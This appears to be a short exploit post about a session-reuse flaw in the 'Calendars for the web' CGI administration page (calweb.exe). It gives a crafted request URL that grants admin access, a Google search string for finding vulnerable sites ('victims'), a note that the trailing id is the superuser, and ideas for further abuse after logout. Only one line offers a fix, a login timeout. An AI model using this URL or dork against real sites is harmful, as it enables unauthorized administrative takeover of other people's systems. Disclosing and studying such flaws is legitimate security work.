Calendars for the web has a vulnerability in the administration page.
The page saves the past session, so that anyone navigating to the page has
admin access.

Exploit:

Before attack: target.com/calendarWeb/cgi-bin/calweb/calweb.exe

After attack:
target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&a
ct=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0

Example:
target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&a
ct=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
how to fix: set time out for login to five minutes !
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

A Google query can find a couple pages of victims:
inurl:calweb/calweb.exe

Further hacks: if they disable the timeout you can still log in right
after
they log out... You could probaly do something with that
Also the 0 at the ending is the administrator (super user) id.
